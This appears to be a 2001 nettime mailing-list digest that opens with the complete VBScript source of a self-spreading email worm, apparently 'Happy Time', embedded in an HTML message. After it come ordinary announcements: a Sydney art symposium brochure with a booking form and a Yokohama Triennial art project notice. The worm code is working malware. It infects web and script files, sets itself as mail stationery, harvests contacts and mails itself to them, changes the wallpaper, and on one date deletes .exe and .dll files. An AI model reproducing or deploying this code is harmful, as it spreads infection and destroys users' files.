Sub mload()
On Error Resume Next
mPath =3D Grf()
Set Os =3D CreateObject("Scriptlet.TypeLib")
Set Oh =3D CreateObject("Shell.Application")
If IsHTML Then
mURL =3D LCase(document.Location)
If mPath =3D "" Then
Os.Reset
Os.Path =3D "C:\Help.htm"
Os.Doc =3D Lhtml()
Os.Write()
Ihtml =3D "<span style=3D'position:absolute'><Iframe src=3D'C:\Help.htm' =
width=3D'0' height=3D'0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m =3D "hta"
If LCase(m) =3D Right(mURL, Len(m)) Then
id =3D setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path =3D mPath & "\" & "Help.hta"
Os.Doc =3D Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of =3D CreateObject("Scripting.FileSystemObject")
Set Od =3D CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks =3D "HKEY_CURRENT_USER\Software\"
Ds =3D Grf()
Cs =3D Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key =3D CInt(Month(Date) + Day(Date))
If Key =3D 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn =3D Rg(Ks & "Help\Count")
If Cn =3D "" Then
Cn =3D 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 =3D Rg(Ks & "Help\FileName")
f2 =3D FNext(Of, Od, f1)
fext =3D GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 =3D f2
f2 =3D FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) =3D 0 Then
If (CInt(Second(Time)) Mod 2) =3D 0 Then
Tsend
Else
adds =3D Og
Msend (adds)
End If
End If
wp =3D Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp =3D "" Then
If wp =3D "" Then
n1 =3D ""
n3 =3D Cs & "\Help.htm"
Else
mP =3D Of.GetFile(wp).ParentFolder
n1 =3D Of.GetFileName(wp)
n2 =3D Of.GetBaseName(wp)
n3 =3D Cs & "\" & n2 & ".htm"
End If
Set pfc =3D Of.CreateTextFile(n3, True)
mt =3D Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor=3D'#007f7f' background=3D'" & =
n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc =3D Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf =3D Cs & "\Untitled.htm"
Set fc2 =3D Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid =3D Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe =3D "HKEY_CURRENT_USER\Identities\" & oeid & =
"\Software\Microsoft\Outlook Express\5.0\Mail"
MSH =3D oe & "\Message Send HTML"
CUS =3D oe & "\Compose Use Stationery"
SN =3D oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web =3D Cs & "\WEB"
Set gf =3D Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext =3D GetExt(Of, Od, m)
If fext <> "" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath =3D Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa(n)
Dim VBSText, m
VBSText =3D Lvbs()
If Mid(n, 3, 1) =3D 1 Then
m =3D "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) =3D 1 Then
m =3D VBSText
End If
If Mid(n, 1, 1) =3D 1 Then
m =3D Lscript(m)
End If
Sa =3D m & vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc =3D Of.OpenTextFile(S, 1)
mt =3D fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail =3D Ml(mt)
mt =3D Sa(n)
Set fc2 =3D Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN =3D "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
Sc =3D True
Else
Sc =3D False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname =3D ""
T =3D False
If Of.FileExists(S) Then
fpath =3D Of.GetFile(S).ParentFolder
fname =3D S
ElseIf Of.FolderExists(S) Then
fpath =3D S
T =3D True
Else
fpath =3D Dnext(Of, "")
End If
Do While True
Set gf =3D Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <> "" Then
FNext =3D m
Exit Function
End If
ElseIf LCase(m) =3D LCase(fname) Or fname =3D "" Then
T =3D True
End If
Next
fpath =3D Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T =3D False
If Of.FolderExists(S) Then
Set gp =3D Of.GetFolder(S).SubFolders
pn =3D gp.Count
If pn =3D 0 Then
Ppath =3D LCase(S)
Npath =3D LCase(Of.GetParentFolderName(S))
T =3D True
Else
Npath =3D LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath =3D LCase(pn) Then
T =3D False
End If
Else
Pnext =3D LCase(pn)
Exit Function
End If
Next
T =3D True
Ppath =3D LCase(Npath)
Npath =3D Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m =3D Of.GetDriveName(Ppath)
Pnext =3D Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T =3D False
m =3D ""
Set dc =3D Of.Drives
For Each d In dc
If d.DriveType =3D 2 Or d.DriveType =3D 3 Then
If T Then
Dnext =3D d
Exit Function
Else
If LCase(S) =3D LCase(d) Then
T =3D True
End If
If m =3D "" Then
m =3D d
End If
End If
End If
Next
Dnext =3D m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext =3D LCase(Of.GetExtensionName(S))
GetExt =3D Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R =3D CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R =3D CreateObject("WScript.Shell")
Rg =3D R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest =3D WScript.ScriptFullname
If Err Then
IsVbs =3D False
Else
IsVbs =3D True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest =3D document.Location
If Er Then
IsHTML =3D False
Else
IsHTML =3D True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail =3D False
If InStr(S, vbCrLf) =3D 0 Then
m1 =3D InStr(S, "@")
m2 =3D InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
IsMail =3D True
End If
End If
End Function
Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of =3D CreateObject("Scripting.FileSystemObject")
Set f =3D Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs =3D f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) =3D "vbscript" Then
If Sc(ws.Text) Then
Lvbs =3D ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell =3D CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv =3D False
Else
Iv =3D True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell =3D CreateObject("Shell.Application")
mPath =3D "C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf =3D mShell.Path
Exit Function
End If
Next
If Er Then
Grf =3D ""
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of =3D CreateObject("Scripting.FileSystemObject")
m =3D Of.GetSpecialFolder(0)
If Er Then
Gsf =3D "C:\"
Else
Gsf =3D m
End If
End Function
Function Lhtml()
Lhtml =3D "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function
Function Lscript(S)
Lscript =3D "<" & "script language=3D'VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 =3D Len(S1)
l2 =3D Len(S2)
i =3D InStr(S1, S2)
If i > 0 Then
l3 =3D i + l2 - 1
If n =3D 0 Then
Sl =3D Left(S1, i - 1)
ElseIf n =3D 1 Then
Sl =3D Right(S1, l1 - l3)
End If
Else
Sl =3D ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 =3D S
S3 =3D """"
adds =3D ""
S2 =3D S3 & "mailto" & ":"
T =3D True
Do While T
S1 =3D Sl(S1, S2, 1)
If S1 =3D "" Then
T =3D False
Else
m =3D Sl(S1, S3, 0)
If IsMail(m) Then
adds =3D adds & m & vbCrLf
End If
End If
Loop
Ml =3D Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo =3D CreateObject("Outlook.Application")
Set Om =3D Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n =3D Om.Count
ReDim m(n)
For i =3D 1 To n
m(i - 1) =3D Om.Item(i).Email1Address
Next
Og =3D m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od =3D CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted =3D True
MM.Fetch
For i =3D 0 To MM.MsgCount - 1
MM.MsgIndex =3D i
a =3D MM.MsgOrigAddress
If Od.Item(a) =3D "" Then
Od.Item(a) =3D MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject =3D "Fw: " & Od.Item(m)
MM.RecipAddress =3D m
MM.AttachmentPathName =3D Gsf & "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS =3D CreateObject("MSMAPI.MAPISession")
Set MM =3D CreateObject("MSMAPI.MAPIMessages")
U =3D Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging =
Subsystem\Profiles\DefaultProfile")
MS.UserName =3D U
MS.DownLoadMail =3D False
MS.NewSession =3D False
MS.LogonUI =3D True
MS.SignOn
MM.SessionID =3D MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i =3D 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex =3D i
MM.RecipAddress =3D a
i =3D i + 1
End If
Next
MM.MsgSubject =3D " Help "
MM.AttachmentPathName =3D Gsf & "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number =3D 0 Then
Er =3D False
Else
Err.Clear
Er =3D True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) =3D 1 Then
IsDel =3D True
Else
IsDel =3D False
End If
End Function


</SCRIPT>
</DIV></BODY></HTML>

- ------=_NextPart_000_01B6_01C11BBA.C5039D60--


------------------------------

Date: Sun, 5 Aug 2001 19:42:26 +1030
From: amanda@adelaidefestival.net.au
Subject: SPACE ODYSSEYS




- ------------------- Forwarded by Amanda McDonald Crowley/Adelaide Festival on
05/08/2001 19:38 ---------------------------


Victoria Lynn <vlynn@cinemedia.net> on 03/08/2001 14:19:16

To:   Amanda McDonald Crowley/Adelaide Festival@Adelaide Festival
cc:
Subject:  space brochure


SPACE ODYSSEYS
sensation & immersion
International Symposium
Saturday 18 August 2001
Domain Theatre, Level 3
Art Gallery of New South Wales

Imagination is the original interactive multimedia; and the powerful
metaphor of the journey is destined to grow ever more vertiginous as the
silicon revolution heats up. How virtual is our being already? We construct
virtual maps and models, sample things from the media of our senses and
construct a world that is, at the same time, our experience of the world.
Space Odysseys: sensation and immersion will be held at the Art Gallery of
New South Wales between 18 August and 21 October 2001. Curator Victoria
Lynn.
This pre-eminent contemporary art event presents the work of leading
international and Australian contemporary artists who create large-scale
installations that physically immerse or surround the viewer. Major
international artists including Bruce Nauman, James Turrell, Mariko Mori,
Luc Courchesne and Gary Hill; Australian artists, Lynette Wallworth, David
Haines and Joyce Hinterding.
This symposium, held in conjunction with the exhibition Space Odysseys:
sensation and immersion, will offer lively perspectives on immersive and
virtual experiences in innovative art. Where are we going? How did we get
there? How do we come to grips with this experience that puts us at the
crossroads between new technologies and the human senses?
Saturday 18 August 2001 10am - 4.45pm
Domain Theatre, Lower Level 3

Programme
10am - Registration
10.15am - Welcome. Edmund Capon, Director AGNSW
10.30am - Introduction. Victoria Lynn, Curatorial Manager, Cinemedia,
Melbourne.  10.45am - Keynote Lecture, Techgnosis, Erik Davis, San Francisco
based writer and contributing editor of Wired Magazine, is author of
Techgnosis: Myth, Magic and Mysticism in the Age of Information.
11.30am - Ploughing the Dark: The Poetics of Cyberspace, Dr Ann Finegan,
writer and lecturer 12.15pm - Discussion arising from the morning sessions
12.30pm - Lunch and exhibition viewing 2pm - The Wired City, Scott McQuire,
Senior Lecturer in the Media and Communication Program, University of
Melbourne.  2.45pm     - Step Into the Light, Ross Gibson, writer, filmmaker
and Creative Director of Cinemedia, Melbourne.
3.15pm     - Artist's Roundtable, Luc Courchesne, David Haines, Joyce
Hinterding, Lynette Wallworth. Chaired by John Potts, Lecturer in Media and
Communication, Macquarie Unversity.
4.45pm     - Close
Cost:  $80 full/$70 AGS members/$50 conc (includes GST). Includes lunch and
weekend exhibition pass. Bookings and pre-payment essential (early bookings
recommended). Telephone (02) 9225 1878  Fax (02) 9221 6234

Saturday 18 August 2001 10.00am - 4.45pm
Domain Theatre, Lower Level 3, Art Gallery of New South Wales
Booking Form
Bookings and pre-payment essential. Early bookings recommended.
Cost
$80 full  $70 AGS members  $50 conc (includes GST)
includes lunch and weekend exhibition pass

Please complete the following and mail or fax to:
The Ticketing Secretary
Art Gallery Society of New South Wales
Art Gallery Road, Sydney NSW 2000
Fax (02) 9221 6234


Name

Address

Telephone           Fax

Email

Membership No. (if applicable)

Payment of $                        is enclosed

Please make cheques payable to Art Gallery Society of New South Wales
OR Charge  $                                                        to my

American Express    Bankcard     Mastercard    Visa

Card No.

Expiry Date

Cardholder's Name

Cardholder's Signature
Cancellations

Three full working days (Mon-Fri) notice is required to qualify for a
refund.  All refunds attract an administration charge of 25% of the ticket
prices with a minimum charge of $5. Not negotiable.
Art Gallery Society of New South Wales Telephone (02) 9225 1878  Fax (02)
9221
6234





      This message is intended for the addressee named and may contain
confidential information. If you are not the intended recipient, please
delete it and notify the sender. Views expressed in this message are those
of the individual sender, and are not necessarily the views of the Art
Gallery of New South Wales.


Victoria Lynn
Curatorial Manager
Cinemedia
3 Treasury Place East Melbourne
Victoria Australia 3002
telephone: 61 3 9651 1504
fax: 61 3 9651 1600
email: vlynn@cinemedia.net
internet: http://www.cinemedia.net




      Amanda McDonald Crowley
      Associate Director 2002

      Adelaide Festival of Arts
      105 Hindley Street Adelaide
      PO Box 8116 Station Arcade Adelaide SA 5000
      Australia
      Mob: 0419 829 313
      Tel: 61 8 8216 4444
      Fax: 61 8 8216 4455
      www.adelaidefestival.org.au



------------------------------

Date: Sat, 04 Aug 2001 13:24:33 +0900
From: KOGO <ga2750@i.bekkoame.ne.jp>
Subject: Re:move/ *candy factory@ Yokohama Triennial

Re:move 

*candyfactory  @ Yokohama triennial
http://www.trans.artnet.or.jp/~transart/

Dear all
candy factory will launch Yokohama triennial scheduled Sept 1st to 11th of
Nov. 

Send your comfort or harassment message for this art festival.
Seems we need making a room in the same spooky art castle everywhere for
this loco summer festival made by EXPO tourism titled MEGA WAVE.
I'm sorry.

Anyway you can use this "International" art festival as just your waste
basket. Not meaning of recycling just " to move " our conflict.

We'd like to pass your infectious wastes like some used syringes from 3 G4
apple computers on our wheelchairs into 3 projections.
Send me your personal ad or any harassment messages for art lovers, curators
and cultural activities through our web projects or just simply by E mail.

We could pass it as an institution for them , let's exchange functions and
harass spectators of this amusement park. ..please,
now they looks really depressed looking for function of society, and I think
NO chance. Need terminal care. I've never seen someone is so gone.

We keep rolling your domestic boredom as our athletic machine on traditional
Japanese tea room as traditional gallows from Hollywood movie that is our
pavilion, playing your ALERT messages as landscape or fetishes for new age
meditation. 

Installation Takuji Kogo + Tetsu Takagi + Kazunari Horiguchi

15s 
http://www.trans.artnet.or.jp/~transart/

Collaborative projects for Yokohama triennial.
 
We are playing Domestic boredom into 15 seconds
We move our dead links just in TV Ad time at international art festival and
on www here. 
http://www.trans.artnet.or.jp/~transart/

Featuring programs and projects

Projected relational positions / John Miller

What an interesting finger let me suck it. Takuji Kogo + Tetsu Takagi

G.H Hovagimyan

!A! / gansomaeda 

parallel projects on WEB

Mouchette  Fake shop  Sandra Vivas  Larissa Hyorth  KiPark


Think The Same 2 /Takuji Kogo + Gaku Tsutaya
http://www.trans.artnet.or.jp/~transart/think/index.html

Auras

Forget/Remove
+ Chrysanne Stathacos
http://www.trans.artnet.or.jp/~transart/q.html

Installation with guests artists

13th Sept.
Federico Baronello

Gaku Tsytaya 

15th Oct. 
 Mike Bode 

+ MORE 



candy factory

Takuji KOGO

   takujikogo@mac.com
   ga2750@i.bekkoame.ne.jp
   mobile 0706 667 5586

   http://www.bekkoame.ne.jp/i/ga2750/

Re:move/ *candy factory
  @ Yokohama Triennial

   http://www.trans.artnet.or.jp/~transart/



------------------------------

#  distributed via <nettime>: no commercial use without permission
#  <nettime> is a moderated mailing list for net criticism,
#  collaborative text filtering and cultural politics of the nets
#  more info: majordomo@bbs.thing.net and "info nettime-l" in the msg body
#  archive: http://www.nettime.org contact: nettime@bbs.thing.net